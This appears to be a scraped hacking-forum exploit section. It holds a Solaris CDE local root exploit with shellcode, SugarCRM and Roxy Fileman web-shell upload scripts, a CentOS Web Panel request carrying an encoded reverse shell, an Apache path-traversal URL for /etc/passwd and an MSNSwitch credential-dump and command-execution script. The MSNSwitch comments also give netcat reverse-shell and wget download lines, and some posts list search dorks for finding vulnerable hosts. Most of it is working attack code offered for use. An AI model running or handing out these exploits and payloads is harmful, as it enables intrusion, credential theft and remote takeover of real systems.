 * https://github.com/0xdea/advisories/blob/master/HNS-2022-01-dtprintinfo.txt
 *
 * Usage:
 * $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall
 * $ ./raptor_dtprintlibXmas 10.0.0.109:0
 * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE
 * Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>
 * 
 * Using SI_PLATFORM       : i86pc (5.10)
 * Using stack base        : 0x8047fff
 * Using safe address      : 0x8045790
 * Using rwx_mem address   : 0xfeffa004
 * Using sc address        : 0x8047fb4
 * Using sprintf() address : 0xfefd1250
 * Path of target binary   : /usr/dt/bin/dtprintinfo
 * 
 * On your X11 server:
 * 1. Select the "fnord" printer, then click on "Selected" > "Properties".
 * 2. Click on "Find Set" and choose "/tmp/.dt/icons" from the drop-down menu.
 *
 * Back to your original shell:
 * # id
 * uid=0(root) gid=1(other)
 *
 * IMPORTANT NOTE.
 * The buffer overflow corrupts some critical variables in memory, which we
 * need to fix. In order to do so, we must patch the hostile buffer at some
 * fixed locations with the first argument of the last call to ParseColors().
 * The easiest way to get such a safe address is via the special 0x41414141
 * command-line argument and truss, as follows:
 * $ truss -fae -u libXm:: ./raptor_dtprintlibXmas 10.0.0.109:0 0x41414141 2>OUT
 * $ grep ParseColors OUT | tail -1
 * 29181/1@1: -> libXm:ParseColors(0x8045770, 0x3, 0x1, 0x8045724)
 *                                 ^^^^^^^^^ << this is the safe address we need
 *
 * Tested on:
 * SunOS 5.10 Generic_153154-01 i86pc i386 i86pc (CPU January 2021)
 * [previous Solaris versions are also likely vulnerable]
 */

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>

#define INFO1  "raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE"
#define INFO2  "Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define  VULN  "/usr/dt/bin/dtprintinfo"  // vulnerable program
#define  DEBUG  "/tmp/XXXXXXXXXXXXXXXXXX"  // target for debugging
#define  BUFSIZE  1106        // size of hostile buffer
#define PADDING  1        // hostile buffer padding
#define SAFE  0x08045770      // 1st arg to ParseColors()

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 8 + 27 = 51 bytes) */
/* triple setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char  *arg[2] = {"foo", NULL};
char  *env[256];
int  env_pos = 0, env_len = 0;

/* prototypes */
int  add_env(char *string);
void  check_bad(int addr, char *name);
int  get_env_addr(char *path, char **argv);
int  search_ldso(char *sym);
int  search_rwx_mem(void);
void  set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
  char  buf[BUFSIZE], cmd[1024], *vuln = VULN;
  char  platform[256], release[256], display[256];
  int  i, sc_addr, safe_addr = SAFE;
  FILE  *fp;

  int  sb = ((int)argv[0] | 0xfff);  // stack base
  int  ret = search_ldso("sprintf");  // sprintf() in ld.so.1
  int  rwx_mem = search_rwx_mem();  // rwx memory

  /* helper that prints argv[0] address, used by get_env_addr() */
  if (!strcmp(argv[0], arg[0])) {
    printf("0x%p\n", argv[0]);
    exit(0);
  }

  /* print exploit information */
  fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

  /* process command line */
  if ((argc < 2) || (argc > 3)) {
    fprintf(stderr, "usage: %s xserver:display [safe_addr]\n\n",
        argv[0]);
    exit(1);
  }
  snprintf(display, sizeof(display), "DISPLAY=%s", argv[1]);
  if (argc > 2) {
    safe_addr = (int)strtoul(argv[2], (char **)NULL, 0);
  }

  /* enter debug mode */
  if (safe_addr == 0x41414141) {
    unlink(DEBUG);
    snprintf(cmd, sizeof(cmd), "cp %s %s", VULN, DEBUG);
    if (system(cmd) == -1) {
      perror("error creating debug binary");
      exit(1);
    }
    vuln = DEBUG;
  }

  /* fill envp while keeping padding */
  add_env("LPDEST=fnord");    // injected printer
  add_env("HOME=/tmp");      // home directory
  add_env("PATH=/usr/bin:/bin");    // path
  sc_addr = add_env(display);    // x11 display
  add_env(sc);        // shellcode
  add_env(NULL);

  /* calculate shellcode address */
  sc_addr += get_env_addr(vuln, argv);

  /* inject a fake printer */
  unlink("/tmp/.printers");
  unlink("/tmp/.printers.new");
  if (!(fp = fopen("/tmp/.printers", "w"))) {
    perror("error injecting a fake printer");
    exit(1);
  }
  fprintf(fp, "fnord :\n");
  fclose(fp);
  link("/tmp/.printers", "/tmp/.printers.new");

  /* craft the hostile buffer */
  bzero(buf, sizeof(buf));
  for (i = PADDING; i < BUFSIZE - 16; i += 4) {
    set_val(buf, i, ret);    // sprintf()
    set_val(buf, i += 4, rwx_mem);  // saved eip
    set_val(buf, i += 4, rwx_mem);  // 1st arg
    set_val(buf, i += 4, sc_addr);  // 2nd arg
  }
  memcpy(buf, "\"c c ", 5);    // beginning of hostile buffer
  buf[912] = ' ';        // string separator
  set_val(buf, 1037, safe_addr);    // safe address
  set_val(buf, 1065, safe_addr);    // safe address
  set_val(buf, 1073, 0xffffffff);    // -1

  /* create the hostile XPM icon files */
  system("rm -fr /tmp/.dt");
  mkdir("/tmp/.dt", 0755);
  mkdir("/tmp/.dt/icons", 0755);
  if (!(fp = fopen("/tmp/.dt/icons/fnord.m.pm", "w"))) {
    perror("error creating XPM icon files");
    exit(1);
  }
  fprintf(fp, "/* XPM */\nstatic char *xpm[] = {\n\"8 8 3 1\",\n%s", buf);
  fclose(fp);
  link("/tmp/.dt/icons/fnord.m.pm", "/tmp/.dt/icons/fnord.l.pm");
  link("/tmp/.dt/icons/fnord.m.pm", "/tmp/.dt/icons/fnord.t.pm");

  /* print some output */
  sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
  sysinfo(SI_RELEASE, release, sizeof(release) - 1);
  fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
  fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
  fprintf(stderr, "Using safe address\t: 0x%p\n", (void *)safe_addr);
  fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
  fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
  fprintf(stderr, "Using sprintf() address\t: 0x%p\n", (void *)ret);
  fprintf(stderr, "Path of target binary\t: %s\n\n", vuln);

  /* check for badchars */
  check_bad(safe_addr, "safe address");
  check_bad(rwx_mem, "rwx_mem address");
  check_bad(sc_addr, "sc address");
  check_bad(ret, "sprintf() address");

  /* run the vulnerable program */
  execve(vuln, arg, env);
  perror("execve");
  exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
  int  i;

  /* null termination */
  if (!string) {
    env[env_pos] = NULL;
    return env_len;
  }

  /* add the variable to envp */
  env[env_pos] = string;
  env_len += strlen(string) + 1;
  env_pos++;

  /* pad envp using zeroes */
  if ((strlen(string) + 1) % 4)
    for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
      env[env_pos] = string + strlen(string);
      env_len++;
    }

  return env_len;
}

/*
 * check_bad(): check an address for the presence of badchars
 */
void check_bad(int addr, char *name)
{
  int  i, bad[] = {0x00, 0x09, 0x20}; // NUL, HT, SP

  for (i = 0; i < sizeof(bad) / sizeof(int); i++) {
    if (((addr & 0xff) == bad[i]) || 
              ((addr & 0xff00) == bad[i]) ||
        ((addr & 0xff0000) == bad[i]) || 
        ((addr & 0xff000000) == bad[i])) {
      fprintf(stderr, "error: %s contains a badchar\n", name);
      exit(1);
    }
  }
}

/*
 * get_env_addr(): get environment address using a helper program
 */
int get_env_addr(char *path, char **argv)
{
  char  prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  char  hex[11];
  int  fd[2], addr;

  /* truncate program name at correct length and create a hard link */
  prog[strlen(path)] = '\0';
  unlink(prog);
  link(argv[0], prog);

        /* open pipe to read program output */
  if (pipe(fd) == -1) {
    perror("pipe");
    exit(1);
  }

  switch(fork()) {

  case -1: /* cannot fork */
    perror("fork");
    exit(1);

  case 0: /* child */
    dup2(fd[1], 1);
    close(fd[0]);
    close(fd[1]);
    execve(prog, arg, env);
    perror("execve");
    exit(1);

  default: /* parent */
    close(fd[1]);
    read(fd[0], hex, sizeof(hex));
    break;
  }

  /* check address */
  if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
    fprintf(stderr, "error: cannot read address from helper\n");
    exit(1);
  }

  return addr + strlen(arg[0]) + 1;
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
  int    addr;
  void    *handle;
  Link_map  *lm;

  /* open the executable object file */
  if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
    perror("dlopen");
    exit(1);
  }

  /* get dynamic load information */
  if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
    perror("dlinfo");
    exit(1);
  }

  /* search for the address of the symbol */
  if ((addr = (int)dlsym(handle, sym)) == NULL) {
    fprintf(stderr, "sorry, function %s() not found\n", sym);
    exit(1);
  }

  /* close the executable object file */
  dlclose(handle);

  return addr;
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
  int  fd;
  char  tmp[16];
  prmap_t  map;
  int  addr = 0, addr_old;

  /* open the proc filesystem */
  sprintf(tmp,"/proc/%d/map", (int)getpid());
  if ((fd = open(tmp, O_RDONLY)) < 0) {
    fprintf(stderr, "can't open %s\n", tmp);
    exit(1);
  }

  /* search for the last RWX memory segment before stack (last - 1) */
  while (read(fd, &map, sizeof(map)))
    if (map.pr_vaddr)
      if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
        addr_old = addr;
        addr = map.pr_vaddr;
      }
  close(fd);

  /* add 4 to the exact address NUL bytes */
  if (!(addr_old & 0xff))
    addr_old |= 0x04;
  if (!(addr_old & 0xff00))
    addr_old |= 0x0400;

  return addr_old;
}

/*
 * set_val(): copy a dword inside a buffer (little endian)
 */
void set_val(char *buf, int pos, int val)
{
  buf[pos] =  (val & 0x000000ff);
  buf[pos + 1] =  (val & 0x0000ff00) >> 8;
  buf[pos + 2] =  (val & 0x00ff0000) >> 16;
  buf[pos + 3] =  (val & 0xff000000) >> 24;
}
SugarCRM 0-day Auth Bypass + RCE Exploit
ID: 67686ba3b4103b69df379bfb
Thread ID: 80440
Created: 2023-01-22T10:48:45+0000
Last Post: 2023-01-22T10:48:45+0000
Author: Wolverine
Prefix: Remote
Replies: 0 Views: 1K

SugarCRM 0-day Auth Bypass + RCE Exploit
Affected version
: 11.0, 12.0
PoC : https://seclists.org/fulldisclosure/2022/Dec/31

Spoiler: пок

Python:Copy to clipboard

#!/usr/bin/env python
#
# SugarCRM 0-day Auth Bypass + RCE Exploit
#
# Dorks:
# https://www.google.com/search?q=site:sugarondemand.com&filter=0
# https://www.google.com/search?q=intitle:"SugarCRM"+inurl:index.php
# https://www.shodan.io/search?query=http.title:"SugarCRM";
# https://search.censys.io/search?resource=hosts&q=services.http.response.html_title:"SugarCRM";
#
https://search.censys.io/search?resource=hosts&q=services.http.response.headers.content_security_policy:"*.sugarcrm.com";

import base64, re, requests, sys, uuid

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 2:
        sys.exit("Usage: %s [URL]" % sys.argv[0])
        
print "[+] Sending authentication request"

url     = sys.argv[1] + "/index.php"
session = {"PHPSESSID": str(uuid.uuid4())}
params  = {"module": "Users", "action": "Authenticate", "user_name": 1, "user_password": 1}

requests.post(url, cookies=session, data=params, verify=False)

print "[+] Uploading PHP shell\n"

png_sh =
"iVBORw0KGgoAAAANSUhEUgAAABkAAAAUCAMAAABPqWaPAAAAS1BMVEU8P3BocCBlY2hvICIjIyMjIyI7IHBhc3N0aHJ1KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjIl0pKTsgZWNobyAiIyMjIyMiOyA/PiD2GHg3AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAKklEQVQokWNgwA0YmZhZWNnYOTi5uHl4+fgFBIWERUTFxCXwaBkFQxQAADC+AS1MHloSAAAAAElFTkSuQmCC"
upload = {"file": ("sweet.phar", base64.b64decode(png_sh), "image/png")} # you can also try with other extensions like
.php7 .php5 or .phtml
params = {"module": "EmailTemplates", "action": "AttachFiles"}

requests.post(url, cookies=session, data=params, files=upload, verify=False)

url = sys.argv[1] + "/cache/images/sweet.phar"

while True:
        cmd = raw_input("# ")
        res = requests.post(url, data={"c": base64.b64encode(cmd)}, verify=False)
        res = re.search("#####(.*)#####", res.text, re.DOTALL)
        if res:
                print res.group(1)
        else:
                sys.exit("\n[+] Failure!\n")
CVE-2022-44877 RCE Centos Web Panel 7
ID: 67686ba3b4103b69df379bfc
Thread ID: 80437
Created: 2023-01-22T08:58:48+0000
Last Post: 2023-01-22T08:58:48+0000
Author: Wolverine
Prefix: Remote
Replies: 0 Views: 1K

Centos Web Panel 7 Unauthenticated Remote Code Execution
Affected version
: < 0.9.8.1147
PoC : https://github.com/numanturle/CVE-2022-44877
Info : <https://portswigger.net/daily-swig/exploit-drops-for-remote-code- execution-bug-in-control-web-panel>
Video :

Spoiler: пок

Code:Copy to clipboard

POST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1
Host: 10.13.37.10:2031
Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82
Content-Length: 40
Origin: https://10.13.37.10:2031
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://10.13.37.10:2031/login/index.php?login=failed
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=toor&commit=Login
Avoid PowerShell Invoke-Expression with DNS Records
ID: 67686ba3b4103b69df379bfd
Thread ID: 80418
Created: 2023-01-21T20:54:36+0000
Last Post: 2023-01-22T06:08:31+0000
Author: DarckSol
Prefix: Local
Replies: 2 Views: 1K
CVE-2021-41773 Apache 2.4.49
ID: 67686ba3b4103b69df379bff
Thread ID: 62968
Created: 2022-02-14T17:21:39+0000
Last Post: 2023-01-18T09:14:09+0000
Author: WujingKlaus
Prefix: Web
Replies: 2 Views: 1K

A path transversal flaw was found in Apache 2.4.49
Exploit : http://IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

LPE, Windows Backup Service, CVE-2023-21752
ID: 67686ba3b4103b69df379c03
Thread ID: 79877
Created: 2023-01-13T08:55:51+0000
Last Post: 2023-01-16T15:25:40+0000
Author: timeshout
Prefix: Local
Replies: 4 Views: 1K

PoC for arbitrary file delete vulnerability in Windows Backup service.

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752

POC:

github.com

[ GitHub - Wh04m1001/CVE-2023-21752

](https://github.com/Wh04m1001/CVE-2023-21752)

Contribute to Wh04m1001/CVE-2023-21752 development by creating an account on GitHub.

github.com github.com

CVE-2022-23287
ID: 67686ba3b4103b69df379c05
Thread ID: 79364
Created: 2023-01-06T13:41:11+0000
Last Post: 2023-01-11T22:45:55+0000
Author: Zodiac
Prefix: Local
Replies: 2 Views: 1K

Так кто же это пробовал?

NVD : https://nvd.nist.gov/vuln/detail/CVE-2022-23287

Windows ALPC Elevation of Privilege Vulnerability

код : https://github.com/synacktiv/bhyve

FortiOS SSL-VPN (CVE-2022-42475)
ID: 67686ba3b4103b69df379c09
Thread ID: 78006
Created: 2022-12-13T10:09:02+0000
Last Post: 2022-12-13T10:09:02+0000
Author: ccs
Prefix: Remote
Replies: 0 Views: 1K

CVE : CVE-2022-42475
Affected program: FortiOS SSL-VPN
Vendor: Fortinet
Affected version: 7.2.2, 7.2.1, 7.2.0, 7.0.8, 7.0.7, 7.0.6, 7.0.5, 7.0.4, 7.0.3, 7.0.2, 7.0.1, 7.0.0, 6.4.9, 6.4.8, 6.4.7, 6.4.6, 6.4.5, 6.4.4, 6.4.3, 6.4.2, 6.4.10, 6.4.1, 6.4.0, 6.2.9, 6.2.8, 6.2.7, 6.2.6, 6.2.5, 6.2.4, 6.2.3, 6.2.2, 6.2.11, 6.2.10, 6.2.1, 6.2.0
Fixed version : FortiOS (7.2.3 , 7.0.9 , 6.4.11 , 6.2.12 ), FortiOS-6K7K(7.0.8 , 6.4.10 , 6.2.12 , 6.0.15)
Type of vulnerability : Execute unauthorized code or commands
CVSS: Critical (9.3)
Description : A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.Fortinet is aware of an instance where this vulnerability was exploited in the wild.

CVE-2021-44228 Remote Code Injection
ID: 67686ba3b4103b69df379c0a
Thread ID: 77964
Created: 2022-12-12T19:43:40+0000
Last Post: 2022-12-12T19:43:40+0000
Author: TempMail
Replies: 0 Views: 1K

![](/proxy.php?image=https%3A%2F%2Fuser- images.githubusercontent.com%2F16593068%2F145523576-e1198f04-c216-4a25-97dc-9f8c030951bc.png&hash=47565b4917a7bcedb7bf3f45bb3caef9)

![gist.github.com](/proxy.php?image=https%3A%2F%2Fgithub.githubassets.com%2Fimages%2Fmodules%2Fgists%2Fgist- og-image.png&hash=7ba136b878c585aa1e5b2c4c5eefa82a&return_error=1)

[ CVE-2021-44228

](https://gist.github.com/Tempi11pro/ce8aafa755c3d8b73b248a4191af84b5)

CVE-2021-44228. GitHub Gist: instantly share code, notes, and snippets.

gist.github.com gist.github.com

CVE-2022-3236-RCE-PoC sophos firewall
ID: 67686ba3b4103b69df379c0b
Thread ID: 77885
Created: 2022-12-11T18:19:44+0000
Last Post: 2022-12-12T10:36:58+0000
Author: KERNELRW
Prefix: Web
Replies: 4 Views: 1K

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F091ee55e87edd4a9de0bd10b443f86c585cd8057f7265a5536261573e3c24d3b%2Fsubvers1on%2FCVE-2022-3236-RCE- PoC&hash=e6e92eeebb29a04a9bdc978d367c9773&return_error=1)

[ GitHub - subvers1on/CVE-2022-3236-RCE-PoC: writeup and PoC for

CVE-2022-3236 (unauthenticated RCE in userportal and webadmin of sophos firewall) ](https://github.com/subvers1on/CVE-2022-3236-RCE-PoC)

writeup and PoC for CVE-2022-3236 (unauthenticated RCE in userportal and webadmin of sophos firewall) - GitHub - subvers1on/CVE-2022-3236-RCE-PoC: writeup and PoC for CVE-2022-3236 (unauthenticated...

github.com github.com

CVE-2022-41120/CVE-2022-XXXXX
ID: 67686ba3b4103b69df379c0d
Thread ID: 77418
Created: 2022-12-05T13:52:07+0000
Last Post: 2022-12-05T13:52:07+0000
Author: Thorium
Prefix: Local
Replies: 0 Views: 1K

Vulnerability is in code responsible for ClipboardChange event that can be reached through RPC. Local users can send data to RPC server which will then be written in C:\Sysmon directory (default ArchiveDirectory) and deleted afterwards. In version before 14.11 Sysmon would not check if directory was created by low privilege user or if it's a junction which can be abused to perform arbitrary file delete/write (kinda limited as you can only write strings) in context of NT AUTHORITY\SYSTEM user. In version 14.11/14.12, after initial fix, Sysmon would check if directory exists and would refuse to write/delete files if directory exists. This patch was bypassed by letting Sysmon create C:\Sysmon directory first (using CreateDirectory API) and opening handle on it before SetFileSecurity is called and change DACL's on C:\Sysmon directory.

github.com

GitHub - Wh04m1001/SysmonEoP

Contribute to Wh04m1001/SysmonEoP development by creating an account on GitHub.

github.com github.com

Roxy Fileman 1.4.6 Remote Shell Upload Exploit
ID: 67686ba3b4103b69df379c0e
Thread ID: 76398
Created: 2022-11-22T07:21:19+0000
Last Post: 2022-11-22T07:21:19+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Exploit Title: Roxy Fileman <= 1.4.6 Arbitrary File Upload

(Unathenticated)

Exploit Author: Hadi Mene

<hadi_mene@hotmail.com>

Vendor Homepage: roxyfileman.com

Software Link:

https://web.archive.org/web/20210126213412/https://roxyfileman.com/download.php?f=1.4.6-php

Version: <= 1.4.6

Tested on: Ubuntu 18.04

CVE : CVE-2022-40797

https://nvd.nist.gov/vuln/detail/CVE-2022-40797

Click to expand...

Code:Copy to clipboard

import requests
from optparse import OptionParser
from os.path import basename
 
banner =  '#################################################\n'
banner += '# Roxy Fileman <= 1.4.6 Arbitrary File Upload   #\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#\tCVE-2022-40797 exploit code\t\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#  Author : Hadi Mene <hadi_mene@hotmail.com>\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#################################################\n'
 
 
parser = OptionParser()
parser.add_option("-u", "--url", dest="url",
                  help="url of roxy fileman installation")
parser.add_option("-s", "--shell",dest="shell", default=False,
                  help="path of the php shell if not specified defaut shell will be uploaded ")
 
 
(options, args) = parser.parse_args()
 
 
if options.url is None:
  parser.error('URL is required use -h for help')
 
url = options.url
 
#It seems that in some versions of the app an '/' in the end of the url breaks the exploit code
if (url.endswith('/')):
  url = url[:-1] # we delete that '/'
   
webroot = options.url.split('/')[3:]
webroot = '/'+ '/'.join(webroot)
 
if (webroot.endswith('/')):
  webroot = webroot[:-1]
   
webroot = webroot+'/Uploads'
 
if options.shell:
  shell = open(options.shell,'r').read()
  filename = basename(options.shell)
  filename = filename.split('.')[0]
   
else:
  # default shell
  shell = "<?php system($_GET['cmd']); ?>"
  filename = 'shell'
 
 
headers = {
    'Host': (url.split('/')[2]),
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Content-Type': 'multipart/form-data; boundary=---------------------------39556237418830295983527604767',
    'Origin': (url.split('/')[2]),
    'Connection': 'close',
}
 
data = '-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="action"\r\n\r\nupload\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="method"\r\n\r\najax\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="d"\r\n\r\n'+(webroot)+'\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="files[]"; filename="'+(filename)+'.phar"\r\nContent-Type: text/plain\r\n\r\n'+shell+'\n\r\n-----------------------------39556237418830295983527604767--\r\n'
 
#We check if a file with the same filename is already there 
#because Roxy doesn't overwrite file instead it changes the filename of the newly uploaded file
if 'href="'+filename+'.phar"' in (requests.get(url+'/Uploads/').text):
  already_uploaded = True
else:
  already_uploaded = False
   
# file upload
req = requests.post(url+'/php/upload.php', headers=headers, data=data, verify=False)
response = (req.text)
 
print(banner)
 
if '{"res":"ok","msg":""}' in (response):
# success
  print('File Uploaded Successfully!!!')
   
  if already_uploaded:
    print('A file with the same filename is already on the server..')
    print('URL: '+url+'/Uploads/'+(filename)+' - Copy X.phar ')
     
  else:
    print('URL: '+url+'/Uploads/'+(filename)+'.phar')
 
else:
  # failure
  print('Shell Upload Failed :((( ')
  print(response) #debug
MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)
ID: 67686ba3b4103b69df379c0f
Thread ID: 75718
Created: 2022-11-12T10:48:14+0000
Last Post: 2022-11-12T10:48:14+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Exploit Title: MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)
Exploit Author: Eli Fulkerson
Vendor Homepage: https://www.msnswitch.com/
Version: MNT.2408
Tested on: MNT.2408 firmware
CVE: CVE-2022-32429

Click to expand...

Code:Copy to clipboard

#!/usr/bin/python3
 
 
"""
 
POC for unauthenticated configuration dump, authenticated RCE on msnswitch firmware 2408.
 
Configuration dump only requires HTTP access.
Full RCE requires you to be on the same subnet as the device.
 
"""
 
import requests
import sys
import urllib.parse
import readline
import random
import string
 
 
# listen with "ncat -lk {LISTENER_PORT}" on LISTENER_HOST
LISTENER_HOST = "192.168.EDIT.ME"
LISTENER_PORT = 3434
 
# target msnswitch
TARGET="192.168.EDIT.ME2"
PORT=80
 
USERNAME = None
PASSWORD = None
 
"""
First vulnerability, unauthenticated configuration/credential dump
"""
if USERNAME == None or PASSWORD == None:
        # lets just ask
        hack_url=f"http://{TARGET}:{PORT}/cgi-bin-hax/ExportSettings.sh"
        session = requests.session()
 
        data = session.get(hack_url)
        for each in data.text.split('\n'):
                key = None
                val = None
 
                try:
                        key = each.strip().split('=')[0]
                        val = each.strip().split('=')[1]
                except:
                        pass
 
                if key == "Account1":
                        USERNAME = val
                if key == "Password1":
                        PASSWORD = val
 
"""
Second vulnerability, authenticated command execution
 
This only works on the local lan.
 
for full reverse shell, modify and upload netcat busybox shell script to /tmp:
 
        shell script: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.X.X 4242 >/tmp/f
        download to unit: /usr/bin/wget http://192.168.X.X:8000/myfile.txt -P /tmp
 
ref: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox
"""
 
session = requests.session()
 
# initial login, establishes our Cookie
burp0_url = f"http://{TARGET}:{PORT}/goform/login"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"http://{TARGET}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.120.17/login.asp", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"login": "1", "user": USERNAME, "password": PASSWORD}
session.post(burp0_url, headers=burp0_headers, data=burp0_data)
 
# get our csrftoken
burp0_url = f"http://{TARGET}:{PORT}/saveUpgrade.asp"
data = session.get(burp0_url)
 
csrftoken = data.text.split("?csrftoken=")[1].split("\"")[0]
 
while True:
        CMD = input('x:')
        CMD_u = urllib.parse.quote_plus(CMD)
        filename = ''.join(random.choice(string.ascii_letters) for _ in range(25))
 
        try:
                hack_url = f"http://{TARGET}:{PORT}/cgi-bin/upgrade.cgi?firmware_url=http%3A%2F%2F192.168.2.1%60{CMD_u}%7Cnc%20{LISTENER_HOST}%20{LISTENER_PORT}%60%2F{filename}%3F&csrftoken={csrftoken}"
 
                session.get(hack_url, timeout=0.01)
        except requests.exceptions.ReadTimeout:
                pass
OPENSSL3- CVE-2022-3602 - PoC
ID: 67686ba3b4103b69df379c11
Thread ID: 75109
Created: 2022-11-02T18:26:32+0000
Last Post: 2022-11-03T12:22:28+0000
Author: ccs
Prefix: Remote
Replies: 1 Views: 1K

CVE : [CVE-2022-3602](https://cve.mitre.org/cgi- bin/cvename.cgi?name=CVE-2022-3602)
Affected program: OPENSSL 3.0.0-3.0.6
Vendor: OPENSSL
Affected version: All Software and OS use OPENSSL. (list)
Fixed version : 3.0.7
Type of vulnerability : RCE or Crash
CVSS: High
SCAN For DETECT SOFTWARE : BASH | POWERSHELL | [YARA](https://www.akamai.com/blog/security-research/openssl-vulnerability- how-to-effectively-prepare)
Description :A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Note that this occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer. An attacker can craft a malicious email address to overflow four attacker-controlled bytes on the stack. This buffer overflow could result in a crash (causing a denial of service) or potentially remote code execution. Many platforms implement stack overflow protections which would mitigate against the risk of remote code execution. The risk may be further mitigated based on stack layout for any given platform/compiler. Pre-announcements of CVE-2022-3602 described this issue as CRITICAL. Further analysis based on some of the mitigating factors described above have led this to be downgraded to HIGH. Users are still encouraged to upgrade to a new version as soon as possible. In a TLS client, this can be triggered by connecting to a malicious server. In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects.
PoC :

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fe2de16b537240bdbbdd257aa82eeb18c9221b303d8ecc56d488224753437cab8%2FDataDog%2Fsecurity- labs-pocs&hash=6da17ca25a5781cc1ba97d1d128524f5&return_error=1)

[ security-labs-pocs/proof-of-concept-exploits/openssl-punycode-

